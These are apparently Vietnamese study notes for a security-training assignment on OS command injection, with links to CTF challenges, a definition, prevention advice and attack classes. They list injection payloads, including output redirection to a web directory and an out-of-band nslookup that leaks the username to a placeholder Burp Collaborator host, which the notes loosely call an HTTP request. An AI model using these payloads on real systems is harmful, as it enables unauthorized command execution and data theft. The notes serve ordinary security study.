Task 4:
- Tìm hiểu tất cả mọi thứ có thể tìm hiểu được về command injection (khái niệm, cách nhận biết, hướng khai thác, cách phòng tránh, phân loại theo hướng tấn công)
- Dựng lại lỗ hổng này với php hoặc bất kỳ ngôn ngữ khác và viết write up khai thác web đã dựng
- Tìm hiểu một số kĩ thuật bypass command injection phổ biến và demo tích hợp với web ở trên
- Làm 7 bài sau:
**https://battle.cookiearena.org/challenges/web/nslookup-level-1**
**https://battle.cookiearena.org/challenges/web/nslookup-level-2**
**https://battle.cookiearena.org/challenges/web/nslookup-level-3**
**https://battle.cookiearena.org/challenges/web/ethical-ping-pong-club**
**https://battle.cookiearena.org/challenges/web/blind-command-injection**
**https://battle.cookiearena.org/skills-path/os-command-injection/challenge/command-limit-length**
**https://battle.cookiearena.org/skills-path/os-command-injection/challenge/time**
LƯU Ý: Viết write up đầy đủ
DEADLINE: 24h 25/6
FLAME ON: Lý thuyết mà phang
- Định nghĩa: Command injection(hay còn được gọi là Shell Injection) một lỗ hổng ứng dụng web cho phép thực hiện các lệnh tùy ý trên hệ điều hành cơ bản. Những lỗ hổng này xảy ra khi các ứng dụng web gọi các lệnh hệ điều hành với đầu vào mà không thông qua lọc hoặc không có các biện pháp an toàn khác.
Cơ bản nhất thì cứ: ping -c 1 1|whoami (Cách cơ bản nhất để test xem có thể chèn command vào trong được không)
-
Trong hầu hết các trường hợp, có nhiều cách khác nhau để triển khai chức năng cần thiết bằng cách sử dụng các API nền tảng an toàn hơn như các API dùng trong internals(nội bộ) hay partners(đối tác).
Nếu bạn phải gọi các lệnh hệ điều hành bằng đầu vào do người dùng cung cấp, thì bạn phải thực hiện xác thực đầu vào mạnh. Một số ví dụ về xác nhận hiệu quả bao gồm:
- Loại bỏ các kí tự không hợp lệ với đầu lọc.
- Xác thực rằng đầu vào chỉ chứa các ký tự chữ và số, không có cú pháp hoặc khoảng trắng nào khác.
-
Các hướng tấn công
- Non-blind OS Command Injection xảy ra khi hacker có thể nhìn thấy ngay kết quả của lệnh mà họ chèn vào. Đây là kiểu phổ biến nhất trong lỗ hổng OS Command injection.
- Dễ nhất thì cứ: |whoami (dùng để lấy name của người dùng hiện tại).
- ls -a, cat file.txt,… dạng dạng thế.
- Blind OS Command Injection xảy ra khi hacker không thể nhìn thấy kết quả của lệnh mà họ chèn vào. Điều này có thể do các lập trình viên không muốn hiển thị kết quả hoặc đã Try Catch hết các lỗi mà ứng dụng tạo ra.
- Time delays: ||ping+-c+10+127.0.0.1|| (c: gửi 10 gói tin mất 10s).
- Output redirection: ||whoami>/var/www/images/output.txt|| (để chuyển hướng tên người dùng lấy được vào file hay nói chung là chuyển output từ whoami vào file output).
- Out-of-band: ||nslookup+whoami.BURP-COLLABORATOR-SUBDOMAIN|| (giống out of band bình thường) (câu lệnh này sẽ lấy nội dung tên người dùng rồi gửi HTTP request đến tab Collaborator trong Burp).
Ngoài ra có thể tham khảo chat gpt :)))) nghe thì xàm phết nhưng mà nó phân loại cũng oke nên có thể tham khảo:
P/s: Không cần xem cái 1 đâu vì vô dụng phết :))))

